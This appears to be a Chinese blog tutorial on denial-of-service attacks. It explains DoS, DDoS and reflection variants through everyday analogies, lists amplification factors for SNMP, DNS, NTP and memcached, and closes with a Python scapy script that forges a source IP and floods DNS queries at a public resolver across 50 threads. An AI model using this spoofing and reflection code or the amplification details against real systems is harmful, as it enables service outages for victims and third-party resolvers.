拒绝服务攻击

2020-10-10 14:53:38 浏览数 (1)

目录

    • 基本概念
        • DOS:拒绝服务攻击
        • DDOS:分布式拒绝服务攻击
        • RDoS:反射拒绝服务
        • DRDoS:分布式反射拒绝服务
        • 方法
    • 关于dns反射拒绝服务的攻击脚本

基本概念

首先,要说的是,在互联网里,最重要的就是通信,没有通信,大家都只能玩单机游戏。所以一台服务器对另一台服务器的问候默认会回复。 一台叫小明的服务器想与另一台叫小红的服务器通信,他会先在自己小区(内网)里喊一下:小红在吗。要是小红听到了,会直接回复小明。如果没人回复小明,说明小红和小明不在同一个小区里。

小明就会借助小区门卫的喇叭(网关)进行全网广播:小红在吗。其他小区的门卫听见了,就会在各自的小区里问:谁是小红,有人找。

其他人一听在叫小红,不是叫自己,听了就忘了,会忽略此消息。 真正的小红听到了,会借助她们小区的门卫的喇叭回复小明:我就是小红,你有啥事吗。(不算伪装欺骗的,每台机器的mac地址都是唯一的,和人的身份证一样,所以不考虑有重名的)

说白了,只要你对一个服务器发出消息,他必然会回复你一条消息。(当然,你被对方拉黑了除外,或者对方只允许美女给他发消息,你不是美女,那也白搭)

DOS:拒绝服务攻击

英文名称是Denial of Service,简称DOS,即拒绝服务,造成其攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽, 最后导致合法的用户请求无法通过。

连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。常用攻击手段有:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。

说了这么多,啥意思呢? 举个例子吧,你加了女神的QQ,你不想让别人和你的女神聊天。但是女神的好友显然不止你一个,咋办。 不停的给女神发消息,把她的流量耗光,没流量了,看她跟谁聊天。 什么?女神是个富婆,不差这点流量?那也没关系,我还是不停的给她发消息。前面说过了,互联网最重要的是通信,有来有回。你给女神发一句消息,女神必然回你一句消息。女神不停的在回你消息,自然没时间处理其他人的消息了。 以前别人给女神发消息,女神可能秒回他;现在别人给女神发消息,女神可能要一个小时才能回消息。这个“别人”思来想去,自然也慢慢的不会给女神发消息了。

dos这玩意杀敌一千自损八百,你要消耗女神的流量,首先你自己也要消耗这么多流量来给她发消息。

DDOS:分布式拒绝服务攻击

如果说dos是一打一,那么ddos就是多打一。用成千上万个肉鸡去进攻一个服务器,这就要求你需要提前拿下一大批肉鸡去进行攻击。

RDoS:反射拒绝服务

前面说了,dos杀敌一千自损八百,为了节约流量,就有了rdos

互联网最重要的就是交互,你问我答。 但是,正如人有话痨,人有哑巴一样,服务器也分几种。有的服务器你问他一句,他才回一句;有的服务器是个话痨,你发他一句话,他会回你100句话。

于是你伪装成受害者,给话痨发一句话,话痨回复了受害者100句话。你只要说一句话,就让受害者听了100句废话。典型的以小博大

放大主要利用的是NTP的monlist(listpeers也行)、DNS的AXFR(ANY也行)、SNMP的getbulkrequest

DRDoS:分布式反射拒绝服务

分布式拒绝服务攻击,顾名思义,就是让很多机器对受害者进行rdos攻击,和ddos不一样,dros不需要提前将这些肉鸡拿下。你只要伪装成受害者对100个“话痨”肉鸡群发一句话,受害者就会收到10000句话

方法

snmp放大6倍 dns 放大30到50多倍 ntp 放大500多倍 mem 11211端口 同时支持tcp11211与udp11211 理论上可以放大40万倍,实际上可以发大5万倍

这是一些常用协议的反射倍数

关于dns反射拒绝服务的攻击脚本

python脚本

代码语言:javascript复制
from scapy.all import *
import threading
def test():
        a = IP(dst='8.8.8.8',src='172.16.11.18')
        b = b = UDP(dport=53)
        c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
        c.qd = DNSQR(qname='www.baidu.com',qtype='A',qclass=1)
        send(a/b/c)
for i in range(50):
        t=threading.Thread(target=test)
        t.start()

0 人点赞